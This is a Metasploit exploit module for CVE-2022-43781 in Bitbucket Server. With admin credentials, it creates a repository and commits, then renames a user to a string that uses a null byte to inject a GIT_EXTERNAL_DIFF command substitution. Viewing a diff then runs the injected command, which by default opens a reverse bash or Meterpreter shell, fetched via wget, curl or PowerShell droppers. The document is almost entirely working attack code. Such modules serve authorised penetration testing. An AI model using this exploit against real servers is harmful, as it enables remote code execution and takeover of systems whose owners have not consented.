Bitbucket Environment Variable RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Git
  include Msf::Exploit::Git::SmartHttp
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Bitbucket Environment Variable RCE',
        'Description' => %q{
          For various versions of Bitbucket, there is an authenticated command injection
          vulnerability that can be exploited by injecting environment
          variables into a user name. This module achieves remote code execution
          as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
          variable, a null character as a delimiter, and arbitrary code into a user's
          user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
          will be run once the Bitbucket application is coerced into generating a diff.

          This module requires at least admin credentials, as admins and above
          only have the option to change their user name.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ry0taK', # Vulnerability Discovery
          'y4er', # PoC and blog post
          'Shelby Pace' # Metasploit Module
        ],
        'References' => [
          [ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],
          [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],
          [ 'CVE', '2022-43781']
        ],
        'Platform' => [ 'win', 'unix', 'linux' ],
        'Privileged' => true,
        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
        'Targets' => [
          [
            'Linux Command',
            {
              'Platform' => 'unix',
              'Type' => :unix_cmd,
              'Arch' => [ ARCH_CMD ],
              'Payload' => { 'Space' => 254 },
              'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'MaxLineChars' => 254,
              'Type' => :linux_dropper,
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => %i[wget curl],
              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'win',
              'MaxLineChars' => 254,
              'Type' => :win_dropper,
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'CmdStagerFlavor' => [ :psh_invokewebrequest ],
              'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
            }
          ]
        ],
        'DisclosureDate' => '2022-11-16',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(7990),
        OptString.new('USERNAME', [ true, 'User name to log in with' ]),
        OptString.new('PASSWORD', [ true, 'Password to log in with' ]),
        OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'keep_cookies' => true
    )

    return CheckCode::Unknown('Failed to retrieve a response from the target') unless res
    return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')

    nokogiri_data = res.get_html_document
    footer = nokogiri_data&.at('footer')
    return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer

    version_info = footer.at('span')&.children&.text
    return CheckCode::Detected('Failed to find version information in footer section') unless version_info

    vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)
    return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1

    version_str = vers_matches[1]

    vprint_status("Found version #{version_str} of Bitbucket")
    major, minor, revision = version_str.split('.')
    rev_num = revision.to_i

    case major
    when '7'
      case minor
      when '0', '1', '2', '3', '4', '5'
        return CheckCode::Appears
      when '6'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 18
      when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'
        return CheckCode::Appears
      when '17'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 11
      when '18', '19', '20'
        return CheckCode::Appears
      when '21'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 5
      end
    when '8'
      print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')
      case minor
      when '0'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
      when '1'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
      when '2'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 3
      when '3'
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 2
      when '4'
        return CheckCode::Appears if rev_num == 0 || rev_num == 1
      end
    end

    CheckCode::Detected
  end

  def default_branch
    @default_branch ||= Rex::Text.rand_text_alpha(5..9)
  end

  def uname_payload(cmd)
    "#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"
  end

  def log_in(username, password)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'login'),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
      'keep_cookies' => true,
      'vars_post' => {
        'j_username' => username,
        'j_password' => password,
        '_atl_remember_me' => 'on',
        'submit' => 'Log in'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'projects'),
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res
    unless res.body.include?('Logged in')
      fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')
    end
  end

  def create_project
    proj_uri = normalize_uri(target_uri.path, 'projects?create')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => proj_uri,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')

    vprint_status('Retrieving security token')
    html_doc = res.get_html_document
    token_data = html_doc.at('div//input[@name="atl_token"]')
    fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data

    @token = token_data['value']
    fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?

    project_name = Rex::Text.rand_text_alpha(5..9)
    project_key = Rex::Text.rand_text_alpha(5..9).upcase
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => proj_uri,
      'keep_cookies' => true,
      'vars_post' => {
        'name' => project_name,
        'key' => project_key,
        'submit' => 'Create project',
        'atl_token' => @token
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res
    fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)

    print_status('Project creation was successful')
    [ project_name, project_key ]
  end

  def create_repository
    repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => repo_uri,
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res

    html_doc = res.get_html_document

    dropdown_data = html_doc.at('li[@class="user-dropdown"]')
    fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?
    email = dropdown_data&.at('span')&.[]('data-emailaddress')
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?

    repo_name = Rex::Text.rand_text_alpha(5..9)
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => repo_uri,
      'keep_cookies' => true,
      'vars_post' => {
        'name' => repo_name,
        'defaultBranchId' => default_branch,
        'description' => '',
        'scmId' => 'git',
        'forkable' => 'false',
        'atl_token' => @token,
        'submit' => 'Create repository'
      }
    )

    fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res
    res = send_request_cgi(
      'method' => 'GET',
      'keep_cookies' => true,
      'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')
    )

    fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404
    print_good("Successfully created repository '#{repo_name}'")

    [ email, repo_name ]
  end

  def generate_repo_objects(email, repo_file_data = [], parent_object = nil)
    txt_data = Rex::Text.rand_text_alpha(5..20)
    blob_object = GitObject.build_blob_object(txt_data)
    file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"

    file_data = {
      mode: '100755',
      file_name: file_name,
      sha1: blob_object.sha1
    }

    tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])
    tree_obj = GitObject.build_tree_object(tree_data)
    commit_obj = GitObject.build_commit_object({
      tree_sha1: tree_obj.sha1,
      email: email,
      message: Rex::Text.rand_text_alpha(4..30),
      parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)
    })

    {
      objects: [ commit_obj, tree_obj, blob_object ],
      file_data: file_data
    }
  end

  # create two files in two separate commits in order
  # to view a diff and get code execution
  def create_commits(email)
    init_objects = generate_repo_objects(email)
    commit_obj = init_objects[:objects].first

    refs = {
      'HEAD' => "refs/heads/#{default_branch}",
      "refs/heads/#{default_branch}" => commit_obj.sha1
    }

    final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)
    repo_objects = final_objects[:objects] + init_objects[:objects]
    new_commit = final_objects[:objects].first
    new_file = final_objects[:file_data][:file_name]

    git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")
    res = send_receive_pack_request(
      git_uri,
      refs['HEAD'],
      repo_objects,
      '0' * 40 # no commits should exist yet, so no branch tip in repo yet
    )

    fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res
    fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')
    fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')

    [ new_commit.sha1, commit_obj.sha1, new_file ]
  end

  def get_user_id(curr_uname)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'admin/users/view'),
      'vars_get' => { 'name' => curr_uname }
    )

    matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)
    fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1

    matched_id[1]
  end

  def change_username(curr_uname, new_uname)
    @user_id ||= get_user_id(curr_uname)

    headers = {
      'X-Requested-With' => 'XMLHttpRequest',
      'X-AUSERID' => @user_id,
      'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
    }

    vars = {
      'name' => curr_uname,
      'newName' => new_uname
    }.to_json

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),
      'ctype' => 'application/json',
      'keep_cookies' => true,
      'headers' => headers,
      'data' => vars
    )

    unless res
      print_bad('Did not receive a response to the user name change request')
      return false
    end

    unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')
      print_bad('User name change was unsuccessful')
      return false
    end

    true
  end

  def commit_uri(project_key, repo_name, commit_sha)
    normalize_uri(
      target_uri.path,
      'rest/api/latest/projects',
      project_key,
      'repos',
      repo_name,
      'commits',
      commit_sha
    )
  end

  def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)
    commit_diff_uri = normalize_uri(
      commit_uri(@project_key, @repo_name, latest_commit_sha),
      'diff',
      diff_file
    )

    send_request_cgi(
      'method' => 'GET',
      'uri' => commit_diff_uri,
      'keep_cookies' => true,
      'vars_get' => { 'since' => first_commit_sha }
    )
  end

  def delete_repository(username)
    vprint_status("Attempting to delete repository '#{@repo_name}'")
    repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)
    res = send_request_cgi(
      'method' => 'DELETE',
      'uri' => repo_uri,
      'keep_cookies' => true,
      'headers' => {
        'X-AUSERNAME' => username,
        'X-AUSERID' => @user_id,
        'X-Requested-With' => 'XMLHttpRequest',
        'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
        'ctype' => 'application/json',
        'Accept' => 'application/json, text/javascript'
      }
    )

    unless res&.body&.include?('scheduled for deletion')
      print_warning('Failed to delete repository')
      return
    end

    print_good('Repository has been deleted')
  end

  def delete_project(username)
    vprint_status("Now attempting to delete project '#{@project_name}'")
    send_request_cgi( # fails to return a response
      'method' => 'DELETE',
      'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
      'keep_cookies' => true,
      'headers' => {
        'X-AUSERNAME' => username,
        'X-AUSERID' => @user_id,
        'X-Requested-With' => 'XMLHttpRequest',
        'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
        'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",
        'ctype' => 'application/json',
        'Accept' => 'application/json, text/javascript, */*; q=0.01',
        'Accept-Encoding' => 'gzip, deflate'
      }
    )

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
      'keep_cookies' => true
    )

    unless res&.code == 404
      print_warning('Failed to delete project')
      return
    end

    print_good('Project has been deleted')
  end

  def get_repo
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
      'keep_cookies' => true
    )

    unless res
      print_status('Couldn\'t access repos page. Will create repo')
      return []
    end

    json_data = JSON.parse(res.body)
    unless json_data && json_data['size'] >= 1
      print_status('No accessible repositories. Will attempt to create a repo')
      return []
    end

    repo_data = json_data['values'].first
    repo_name = repo_data['slug']
    project_key = repo_data['project']['key']

    unless repo_name && project_key
      print_status('Could not find repo name and key. Creating repo')
      return []
    end

    [ repo_name, project_key ]
  end

  def get_repo_info
    unless @project_name && @project_key
      print_status('Failed to find valid project information. Will attempt to create repo')
      return nil
    end

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),
      'keep_cookies' => true
    )

    unless res
      print_status("Failed to access existing repository #{@project_name}")
      return nil
    end

    html_doc = res.get_html_document
    commit_data = html_doc.search('a[@class="commitid"]')
    unless commit_data && commit_data.length > 1
      print_status('No commits found for existing repo')
      return nil
    end

    latest_commit = commit_data[0]['data-commitid']
    prev_commit = commit_data[1]['data-commitid']

    file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => file_uri,
      'keep_cookies' => true
    )

    return nil unless res

    json = JSON.parse(res.body)
    return nil unless json['values']

    path = json['values']&.first&.dig('path')
    return nil unless path

    [ latest_commit, prev_commit, path['name'] ]
  end

  def exploit
    @use_public_repo = true
    datastore['GIT_USERNAME'] = datastore['USERNAME']
    datastore['GIT_PASSWORD'] = datastore['PASSWORD']

    if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
      fail_with(Failure::BadConfig, 'No credentials to log in with.')
    end

    log_in(datastore['USERNAME'], datastore['PASSWORD'])
    @curr_uname = datastore['USERNAME']

    @project_name, @project_key = get_repo
    @repo_name = @project_name
    @latest_commit, @first_commit, @diff_file = get_repo_info
    unless @latest_commit && @first_commit && @diff_file
      @use_public_repo = false
      @project_name, @project_key = create_project
      email, @repo_name = create_repository
      @latest_commit, @first_commit, @diff_file = create_commits(email)
      print_good("Commits added: #{@first_commit}, #{@latest_commit}")
    end

    print_status('Sending payload')
    case target['Type']
    when :win_dropper
      execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')
    when :linux_dropper
      execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)
    when :unix_cmd
      execute_command(payload.encoded.strip)
    end
  end

  def cleanup
    if @curr_uname != datastore['USERNAME']
      print_status("Changing user name back to '#{datastore['USERNAME']}'")

      if change_username(@curr_uname, datastore['USERNAME'])
        @curr_uname = datastore['USERNAME']
      else
        print_warning('User name is still set to payload.' \
                      "Please manually change the user name back to #{datastore['USERNAME']}")
      end
    end

    unless @use_public_repo
      delete_repository(@curr_uname) if @repo_name
      delete_project(@curr_uname) if @project_name
    end
  end

  def execute_command(cmd, _opts = {})
    if target['Platform'] == 'win'
      curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))
    else
      curr_payload = uname_payload(cmd)
    end

    unless change_username(@curr_uname, curr_payload)
      fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')
    end

    view_commit_diff(@latest_commit, @first_commit, @diff_file)
    @curr_uname = curr_payload
  end
end